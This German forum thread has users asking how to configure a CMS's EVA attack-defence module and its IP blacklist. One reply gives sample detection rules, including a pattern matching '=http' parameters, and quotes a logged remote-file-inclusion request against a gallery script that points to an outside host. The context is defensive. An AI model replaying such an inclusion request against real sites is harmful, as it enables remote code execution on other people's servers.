Forum

Hallo,

konnte keine Anleitung zum EVA-Modul finden.

Wie muß die Syntax für benutzerdefinierte Regeln aussehen, was bewirken die vorgegebenen Regeln ... naja, überhaupt eben eine Übersicht, was in welches Feld hineingehört und was für einen Zweck es hat.

Wäre da jemand so nett mir das näher zu bringen

viele Grüße
Claudia

hm, ich war eigentlich der Meinung dass das hiermit drin sei... aber das fehlt wohl doch noch.
Werden wir noch nachholen und hinzu fügen.

Was genau willst du denn wissen?

Alles, ich auch

Hallo Tine,

Dein Link war auch meine erste Anlaufstelle für Info´s - war dann ganz überrascht, daß da EVA nicht mit bei ist.

Also EVA kann ja "Angriffe" abwehren und die auslösende IP dann (wenn gewünscht) in die Blacklist aufnehmen.
Wie richte ich z.B. sowas ein?

Wenn EVA noch mehr kann, dann her mit den Info´s

viele Grüße
Claudia

Alsoooo Eva!
Eva verführte dazumal den Adam...
Nein Spass bei Seite, ich werd euch da mal was zusammen schreibseln.
Fürs erste mal das Modul installieren und auch die Blacklist

Dann sollte (sofern mir gerade im Kopf ist) im Import schon etwas vorhanden sein, also da mal ne klick drauf und gucken was passiert
so ein paar sollten glaub ich schon definiert sein.

dann gibts unten *Hinzufügen*

(ggfs das durch den Import schon Einträge vorhanden sind, mal auf bearbeiten gehen, dann seht ihr die Einstellungen dafür)
wenn nicht, folgendes:

Beispiel:
Name: [ONR0001]
Benutze Regel: Benutzer definierte Regel
Benutzer definierte Regel: system/article/index.php?*=http
Aktion: Standard
Zur Blacklist hinzufügen: Ja
Aktionstext: frei wählbar
Beschreibung: [ONR0001]
Statistik Kategorie: 1

Dann, noch einen Eintrag hinzufügen:

Name: [TYPISCH]
Benutze Regel: typisch
Benutzer definierte Regel: leer
Aktion: Standard
Zur Blacklist hinzufügen: Ja
Alle weiteren Felder leer lassen

speichern.

Dann sollte, wenn ich richtig liege, Angriffe automatisch in die liste hinzugefügt werden oder abgewehrt, muss ich unseren Stefanchef dann auch nochmals genauer interviewen.

Weiter dann mit der IP Blacklist

Eine htaccess schreiben.

Dort werden dann die IP's gespeichert und man kann sehen wie oft ein Angriff verübt wurde, wenn man dort auf bearbeiten geht, sieht man auch z.B.:
Ausgelöst von der IP Adresse: 217.110.144.106 um 10.12.2007 19:04:21
Die URI die den Fehler ausgelöst hat war:
/var/www/web14/html/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www?????????????????????????????


REQUEST_URI=/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www?????????????????????????????

So und jetzt noch ein paar Infos

sowas.

Aja und bei der EVA.... da war noch was bei Einstellungen
automatisch abuse eMail senden?
auf ja stellen, dann bekommt ihr noch ne nette Mail zusätzlich
das ist aber noch nicht scharf geschaltet soviel ich weiss, das bekommen nur *wir* als Anwender.

Für Korrekturen hier, ist dann Stefan zuständig

Gruss Tine

aja da war dann noch was

hier

und

hier

und

hier

Gruss Tine

spinne schrieb am 31.01.2008 um 20:06:54 Uhr folgendes:

aja da war dann noch was

hier

und

hier

und

hier

Gruss Tine

Yepp, auch schon alles gelesen , aber nicht wirklich weiter gekommen.
Da steht auch nicht drin, welche Syntax die Regeln haben müssen und was die vordefinierten Regeln für einen Effekt haben.

Habe unter "benutze Regel" 7 zur Auswahl plus benutzerdefiniert.
Es ist aber nirgends ersichtlich wie der Code ist und was er bewirkt.

Beim Importieren gibt es die Meldung: Diese Daten wurden importiert
Ist aber nix zu sehen, also wohl nicht erfolgreich gewesen. (ok, liegt evtl. auch an lokaler Umgebung - müsste mich da mal online ans Werk machen; da läuft z.Zt. aber noch ´ne 2.4.8 )

viele Grüße
Claudia

sollte auch mit der 2.4.8 laufen

und versuch mal die regel [typisch] wie ich sie dort geschrieben hab

Hallo Tine,

ich war mal fleißig und habe auf die 2.4.10 geuppt.

Nun habe ich alle Deine Anweisungen befolgt und sehe .... nichts
Muß dann wohl jetzt auf eine "Attacke" warten oder?

Kann man irgendwo nachsehen, daß die Sache "scharf" geschaltet ist?

viele Grüße
Claudia

Ach, noch was vergessen:

Auf der Seite klick von Flash ist links unten eine "Blacklist IP" Box - ist die "Hand gemacht"? Kann keine solche Box in der Auswahl finden.